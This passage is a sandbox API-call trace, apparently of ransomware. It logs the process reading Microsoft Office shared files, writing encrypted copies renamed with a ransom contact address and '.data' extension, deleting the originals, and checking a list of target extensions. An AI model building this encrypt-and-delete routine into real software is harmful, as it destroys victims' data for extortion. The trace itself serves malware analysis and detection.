(lpString1=".XML", lpString2=".data") returned 1 [0096.653] lstrlenW (lpString="VisiorWW.XML") returned 12 [0096.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0097.321] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=8723) returned 1 [0097.321] CloseHandle (hObject=0x210) returned 1 [0097.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0097.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0097.321] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.321] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0097.327] GetLastError () returned 0x0 [0097.327] ReadFile (in: hFile=0x210, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x2213, lpOverlapped=0x0) returned 1 [0097.338] WriteFile (in: hFile=0x214, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x2220, lpOverlapped=0x0) returned 1 [0097.339] ReadFile (in: hFile=0x210, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.339] WriteFile (in: hFile=0x214, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.339] SetEndOfFile (hFile=0x214) returned 1 [0097.340] CloseHandle (hObject=0x214) returned 1 [0097.340] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.340] SetEndOfFile (hFile=0x210) returned 1 [0097.341] CloseHandle (hObject=0x210) returned 1 [0097.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0097.342] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0097.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.342] lstrlenW (lpString=".doc") returned 4 [0097.342] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0097.342] lstrlenW (lpString=".docx") returned 5 [0097.342] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0097.342] lstrlenW (lpString=".pdf") returned 4 [0097.342] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0097.342] lstrlenW (lpString=".xls") returned 4 [0097.342] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0097.342] lstrlenW (lpString=".xlsx") returned 5 [0097.342] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0097.342] lstrlenW (lpString=".ppt") returned 4 [0097.343] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0097.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.343] lstrlenW (lpString=".zip") returned 4 [0097.343] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0097.343] lstrlenW (lpString=".rar") returned 4 [0097.343] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0097.343] lstrlenW (lpString=".bz2") returned 4 [0097.343] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0097.343] lstrlenW (lpString=".7z") returned 3 [0097.343] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0097.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.343] lstrlenW (lpString=".dbf") returned 4 [0097.343] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0097.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.343] lstrlenW (lpString=".1cd") returned 4 [0097.343] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0097.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.343] lstrlenW (lpString=".jpg") returned 4 [0097.343] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0097.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.344] lstrlenW (lpString=".doc") returned 4 [0097.344] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0097.344] lstrlenW (lpString=".docx") returned 5 [0097.344] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0097.344] lstrlenW (lpString=".pdf") returned 4 [0097.344] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0097.344] lstrlenW (lpString=".xls") returned 4 [0097.344] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0097.344] lstrlenW (lpString=".xlsx") returned 5 [0097.344] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0097.344] lstrlenW (lpString=".ppt") returned 4 [0097.344] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0097.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.344] lstrlenW (lpString=".zip") returned 4 [0097.344] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0097.344] lstrlenW (lpString=".rar") returned 4 [0097.344] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0097.344] lstrlenW (lpString=".bz2") returned 4 [0097.344] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0097.344] lstrlenW (lpString=".7z") returned 3 [0097.344] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0097.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.345] lstrlenW (lpString=".dbf") returned 4 [0097.345] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0097.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.345] lstrlenW (lpString=".1cd") returned 4 [0097.345] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0097.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0097.345] lstrlenW (lpString=".jpg") returned 4 [0097.345] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0097.345] lstrcmpiW (lpString1=".DAT", lpString2=".data") returned -1 [0097.345] lstrlenW (lpString="STOCKS.DAT") returned 10 [0097.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0100.224] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=39017) returned 1 [0100.224] CloseHandle (hObject=0x1d8) returned 1 [0100.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0100.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0100.232] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.232] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0100.232] GetLastError () returned 0x0 [0100.232] ReadFile (in: hFile=0x21c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x9869, lpOverlapped=0x0) returned 1 [0100.238] WriteFile (in: hFile=0x1b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x9870, lpOverlapped=0x0) returned 1 [0100.241] ReadFile (in: hFile=0x21c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0100.241] WriteFile (in: hFile=0x1b4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0100.241] SetEndOfFile (hFile=0x1b4) returned 1 [0100.241] CloseHandle (hObject=0x1b4) returned 1 [0100.241] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0100.241] SetEndOfFile (hFile=0x21c) returned 1 [0100.243] CloseHandle (hObject=0x21c) returned 1 [0100.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0100.243] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0100.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.243] lstrlenW (lpString=".doc") returned 4 [0100.243] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0100.243] lstrlenW (lpString=".docx") returned 5 [0100.244] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0100.244] lstrlenW (lpString=".pdf") returned 4 [0100.244] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0100.244] lstrlenW (lpString=".xls") returned 4 [0100.244] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0100.244] lstrlenW (lpString=".xlsx") returned 5 [0100.244] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0100.244] lstrlenW (lpString=".ppt") returned 4 [0100.244] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0100.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.244] lstrlenW (lpString=".zip") returned 4 [0100.244] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0100.244] lstrlenW (lpString=".rar") returned 4 [0100.244] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0100.244] lstrlenW (lpString=".bz2") returned 4 [0100.244] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0100.244] lstrlenW (lpString=".7z") returned 3 [0100.244] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0100.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.244] lstrlenW (lpString=".dbf") returned 4 [0100.244] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0100.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.244] lstrlenW (lpString=".1cd") returned 4 [0100.244] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0100.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.244] lstrlenW (lpString=".jpg") returned 4 [0100.244] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0100.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.245] lstrlenW (lpString=".doc") returned 4 [0100.245] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0100.245] lstrlenW (lpString=".docx") returned 5 [0100.245] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0100.245] lstrlenW (lpString=".pdf") returned 4 [0100.245] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0100.245] lstrlenW (lpString=".xls") returned 4 [0100.245] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0100.245] lstrlenW (lpString=".xlsx") returned 5 [0100.245] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0100.245] lstrlenW (lpString=".ppt") returned 4 [0100.245] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0100.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.245] lstrlenW (lpString=".zip") returned 4 [0100.245] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0100.245] lstrlenW (lpString=".rar") returned 4 [0100.245] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0100.245] lstrlenW (lpString=".bz2") returned 4 [0100.245] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0100.245] lstrlenW (lpString=".7z") returned 3 [0100.245] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0100.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.245] lstrlenW (lpString=".dbf") returned 4 [0100.245] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0100.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.245] lstrlenW (lpString=".1cd") returned 4 [0100.245] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0100.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0100.246] lstrlenW (lpString=".jpg") returned 4 [0100.246] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0100.315] lstrcmpiW (lpString1=".htm", lpString2=".data") returned 1 [0100.315] lstrlenW (lpString="Bears.htm") returned 9 [0100.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0100.323] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=255) returned 1 [0100.323] CloseHandle (hObject=0x1d8) returned 1 [0100.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0100.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.324] lstrlenW (lpString=".doc") returned 4 [0100.324] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0100.324] lstrlenW (lpString=".docx") returned 5 [0100.324] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0100.324] lstrlenW (lpString=".pdf") returned 4 [0100.324] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0100.324] lstrlenW (lpString=".xls") returned 4 [0100.324] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0100.324] lstrlenW (lpString=".xlsx") returned 5 [0100.324] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0100.324] lstrlenW (lpString=".ppt") returned 4 [0100.324] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0100.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.324] lstrlenW (lpString=".zip") returned 4 [0100.324] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0100.324] lstrlenW (lpString=".rar") returned 4 [0100.324] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0100.324] lstrlenW (lpString=".bz2") returned 4 [0100.324] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0100.324] lstrlenW (lpString=".7z") returned 3 [0100.324] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0100.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.324] lstrlenW (lpString=".dbf") returned 4 [0100.324] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0100.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.325] lstrlenW (lpString=".1cd") returned 4 [0100.325] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0100.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.325] lstrlenW (lpString=".jpg") returned 4 [0100.325] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0100.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.325] lstrlenW (lpString=".doc") returned 4 [0100.325] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0100.325] lstrlenW (lpString=".docx") returned 5 [0100.325] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0100.325] lstrlenW (lpString=".pdf") returned 4 [0100.325] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0100.325] lstrlenW (lpString=".xls") returned 4 [0100.325] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0100.325] lstrlenW (lpString=".xlsx") returned 5 [0100.325] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0100.325] lstrlenW (lpString=".ppt") returned 4 [0100.325] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0100.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.325] lstrlenW (lpString=".zip") returned 4 [0100.325] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0100.325] lstrlenW (lpString=".rar") returned 4 [0100.325] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0100.325] lstrlenW (lpString=".bz2") returned 4 [0100.325] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0100.325] lstrlenW (lpString=".7z") returned 3 [0100.325] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0100.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.326] lstrlenW (lpString=".dbf") returned 4 [0100.326] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0100.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.326] lstrlenW (lpString=".1cd") returned 4 [0100.326] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0100.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0100.326] lstrlenW (lpString=".jpg") returned 4 [0100.326] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0100.326] lstrcmpiW (lpString1=".jpg", lpString2=".data") returned 1 [0100.326] lstrlenW (lpString="Bears.jpg") returned 9 [0100.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0100.326] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1074) returned 1 [0100.326] CloseHandle (hObject=0x1d8) returned 1 [0100.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0100.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0100.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0100.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.327] lstrlenW (lpString=".doc") returned 4 [0100.327] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0100.327] lstrlenW (lpString=".docx") returned 5 [0100.327] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0100.327] lstrlenW (lpString=".pdf") returned 4 [0100.327] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0100.327] lstrlenW (lpString=".xls") returned 4 [0100.327] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0100.327] lstrlenW (lpString=".xlsx") returned 5 [0100.327] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0100.327] lstrlenW (lpString=".ppt") returned 4 [0100.327] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0100.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0100.327] lstrlenW (lpString=".zip") returned 4 [0100.327] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0100.327] lstrlenW (lpString=".rar") returned 4 